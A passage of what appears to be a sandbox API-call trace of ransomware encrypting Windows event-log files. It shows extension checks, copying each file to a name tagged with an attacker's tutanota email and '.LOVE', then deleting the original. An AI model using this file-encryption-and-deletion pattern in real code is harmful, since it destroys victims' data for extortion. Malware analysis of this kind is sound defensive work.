lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0202.639] lstrlenW (lpString=".7z") returned 3 [0202.640] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0202.640] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0202.640] lstrlenW (lpString=".dbf") returned 4 [0202.640] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0202.640] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0202.640] lstrlenW (lpString=".1cd") returned 4 [0202.640] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0202.640] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0202.640] lstrlenW (lpString=".jpg") returned 4 [0202.640] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0202.640] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0202.640] lstrlenW (lpString="HardwareEvents.evtx") returned 19 [0202.640] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0202.707] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0202.707] CloseHandle (hObject=0x350) returned 1 [0202.707] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 0x20 [0202.707] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.707] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0202.707] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.707] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.707] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0202.708] GetLastError () returned 0x0 [0202.708] ReadFile (in: hFile=0x350, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0202.739] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0202.741] ReadFile (in: hFile=0x350, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.741] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xfa, lpOverlapped=0x0) returned 1 [0202.741] SetEndOfFile (hFile=0x358) returned 1 [0202.741] CloseHandle (hObject=0x358) returned 1 [0202.743] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.743] SetEndOfFile (hFile=0x350) returned 1 [0202.745] CloseHandle (hObject=0x350) returned 1 [0202.745] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0202.745] DeleteFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 1 [0202.745] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0202.745] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0202.745] lstrlenW (lpString=".doc") returned 4 [0202.745] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0202.745] lstrlenW (lpString=".docx") returned 5 [0202.746] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0202.746] lstrlenW (lpString=".pdf") returned 4 [0202.746] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0202.746] lstrlenW (lpString=".xls") returned 4 [0202.746] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0202.746] lstrlenW (lpString=".xlsx") returned 5 [0202.746] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0202.746] lstrlenW (lpString=".ppt") returned 4 [0202.746] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0202.746] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0202.746] lstrlenW (lpString=".zip") returned 4 [0202.746] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0202.746] lstrlenW (lpString=".rar") returned 4 [0202.746] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0202.746] lstrlenW (lpString=".bz2") returned 4 [0202.746] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0202.746] lstrlenW (lpString=".7z") returned 3 [0202.746] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0202.746] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0202.746] lstrlenW (lpString=".dbf") returned 4 [0202.746] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0202.746] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0202.746] lstrlenW (lpString=".1cd") returned 4 [0202.746] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0202.746] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0202.746] lstrlenW (lpString=".jpg") returned 4 [0202.746] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0202.747] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0202.747] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0202.747] lstrlenW (lpString=".doc") returned 4 [0202.747] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0202.747] lstrlenW (lpString=".docx") returned 5 [0202.747] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0202.747] lstrlenW (lpString=".pdf") returned 4 [0202.747] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0202.747] lstrlenW (lpString=".xls") returned 4 [0202.747] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0202.747] lstrlenW (lpString=".xlsx") returned 5 [0202.747] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0202.747] lstrlenW (lpString=".ppt") returned 4 [0202.747] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0202.747] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0202.747] lstrlenW (lpString=".zip") returned 4 [0202.747] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0202.747] lstrlenW (lpString=".rar") returned 4 [0202.747] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0202.747] lstrlenW (lpString=".bz2") returned 4 [0202.747] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0202.747] lstrlenW (lpString=".7z") returned 3 [0202.747] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0202.747] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0202.747] lstrlenW (lpString=".dbf") returned 4 [0202.747] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0202.747] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0202.747] lstrlenW (lpString=".1cd") returned 4 [0202.748] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0202.748] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0202.748] lstrlenW (lpString=".jpg") returned 4 [0202.748] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0202.748] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0202.748] lstrlenW (lpString="Key Management Service.evtx") returned 27 [0202.748] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0202.748] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0202.748] CloseHandle (hObject=0x350) returned 1 [0202.748] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 0x20 [0202.748] GetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.748] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0202.749] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.749] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.749] CreateFileW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\key management service.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0202.749] GetLastError () returned 0x0 [0202.749] ReadFile (in: hFile=0x350, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0202.776] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0202.778] ReadFile (in: hFile=0x350, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.778] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x10a, lpOverlapped=0x0) returned 1 [0202.778] SetEndOfFile (hFile=0x358) returned 1 [0202.778] CloseHandle (hObject=0x358) returned 1 [0202.781] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.781] SetEndOfFile (hFile=0x350) returned 1 [0202.783] CloseHandle (hObject=0x350) returned 1 [0202.783] SetFileAttributesW (lpFileName="C:\\Logs\\Key Management Service.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0202.783] DeleteFileW (lpFileName="C:\\Logs\\Key Management Service.evtx" (normalized: "c:\\logs\\key management service.evtx")) returned 1 [0202.783] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0202.783] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0202.784] lstrlenW (lpString=".doc") returned 4 [0202.784] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0202.784] lstrlenW (lpString=".docx") returned 5 [0202.784] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0202.784] lstrlenW (lpString=".pdf") returned 4 [0202.784] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0202.784] lstrlenW (lpString=".xls") returned 4 [0202.784] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0202.784] lstrlenW (lpString=".xlsx") returned 5 [0202.784] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0202.784] lstrlenW (lpString=".ppt") returned 4 [0202.784] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0202.784] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0202.784] lstrlenW (lpString=".zip") returned 4 [0202.784] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0202.784] lstrlenW (lpString=".rar") returned 4 [0202.784] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0202.784] lstrlenW (lpString=".bz2") returned 4 [0202.784] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0202.784] lstrlenW (lpString=".7z") returned 3 [0202.784] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0202.784] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0202.784] lstrlenW (lpString=".dbf") returned 4 [0202.784] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0202.784] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0202.784] lstrlenW (lpString=".1cd") returned 4 [0202.784] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0202.784] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0202.784] lstrlenW (lpString=".jpg") returned 4 [0202.785] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0202.785] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0202.785] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0202.785] lstrlenW (lpString=".doc") returned 4 [0202.785] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0202.785] lstrlenW (lpString=".docx") returned 5 [0202.785] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0202.785] lstrlenW (lpString=".pdf") returned 4 [0202.785] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0202.785] lstrlenW (lpString=".xls") returned 4 [0202.785] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0202.785] lstrlenW (lpString=".xlsx") returned 5 [0202.785] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0202.785] lstrlenW (lpString=".ppt") returned 4 [0202.785] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0202.785] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0202.785] lstrlenW (lpString=".zip") returned 4 [0202.785] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0202.785] lstrlenW (lpString=".rar") returned 4 [0202.785] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0202.785] lstrlenW (lpString=".bz2") returned 4 [0202.785] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0202.785] lstrlenW (lpString=".7z") returned 3 [0202.785] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0202.785] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0202.785] lstrlenW (lpString=".dbf") returned 4 [0202.785] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0202.786] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0202.786] lstrlenW (lpString=".1cd") returned 4 [0202.786] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0202.786] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35 [0202.786] lstrlenW (lpString=".jpg") returned 4 [0202.786] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0202.786] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0202.786] lstrlenW (lpString="Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 47 [0202.786] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0202.786] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0202.786] CloseHandle (hObject=0x350) returned 1 [0202.786] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20 [0202.786] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.787] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0202.787] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.787] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.787] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0202.787] GetLastError () returned 0x0 [0202.787] ReadFile (in: hFile=0x350, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0202.889] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0202.891] ReadFile (in: hFile=0x350, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.891] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x132, lpOverlapped=0x0) returned 1 [0202.891] SetEndOfFile (hFile=0x358) returned 1 [0202.891] CloseHandle (hObject=0x358) returned 1 [0202.893] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.893] SetEndOfFile (hFile=0x350) returned 1 [0202.896] CloseHandle (hObject=0x350) returned 1 [0202.917] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0202.918] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 1 [0202.981] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0202.982] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0202.982] lstrlenW (lpString=".doc") returned 4 [0202.982] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0202.982] lstrlenW (lpString=".docx") returned 5 [0202.982] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0202.982] lstrlenW (lpString=".pdf") returned 4 [0202.982] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0202.982] lstrlenW (lpString=".xls") returned 4 [0202.982] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0202.982] lstrlenW (lpString=".xlsx") returned 5 [0202.982] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0202.982] lstrlenW (lpString=".ppt") returned 4 [0202.982] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0202.982] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0202.982] lstrlenW (lpString=".zip") returned 4 [0202.982] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0202.982] lstrlenW (lpString=".rar") returned 4 [0202.982] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0202.982] lstrlenW (lpString=".bz2") returned 4 [0202.982] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0202.982] lstrlenW (lpString=".7z") returned 3 [0202.982] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0202.982] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0202.982] lstrlenW (lpString=".dbf") returned 4 [0202.982] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0202.982] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0202.982] lstrlenW (lpString=".1cd") returned 4 [0202.982] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0202.982] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0202.982] lstrlenW (lpString=".jpg") returned 4 [0202.982] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0202.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0202.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0202.983] lstrlenW (lpString=".doc") returned 4 [0202.983] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0202.983] lstrlenW (lpString=".docx") returned 5 [0202.983] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0202.983] lstrlenW (lpString=".pdf") returned 4 [0202.983] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0202.983] lstrlenW (lpString=".xls") returned 4 [0202.983] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0202.983] lstrlenW (lpString=".xlsx") returned 5 [0202.983] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0202.983] lstrlenW (lpString=".ppt") returned 4 [0202.983] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0202.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0202.983] lstrlenW (lpString=".zip") returned 4 [0202.983] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0202.983] lstrlenW (lpString=".rar") returned 4 [0202.983] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0202.983] lstrlenW (lpString=".bz2") returned 4 [0202.983] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0202.983] lstrlenW (lpString=".7z") returned 3 [0202.983] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0202.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0202.983] lstrlenW (lpString=".dbf") returned 4 [0202.983] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0202.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0202.983] lstrlenW (lpString=".1cd") returned 4 [0202.983] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0202.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0202.983] lstrlenW (lpString=".jpg") returned 4 [0202.983] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0202.984] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0202.984] lstrlenW (lpString="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 71 [0202.984] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0202.987] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=1052672) returned 1 [0202.987] CloseHandle (hObject=0x320) returned 1 [0202.987] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20 [0202.987] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.987] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0202.987] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.987] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.987] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0202.989] GetLastError () returned 0x0 [0202.989] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: 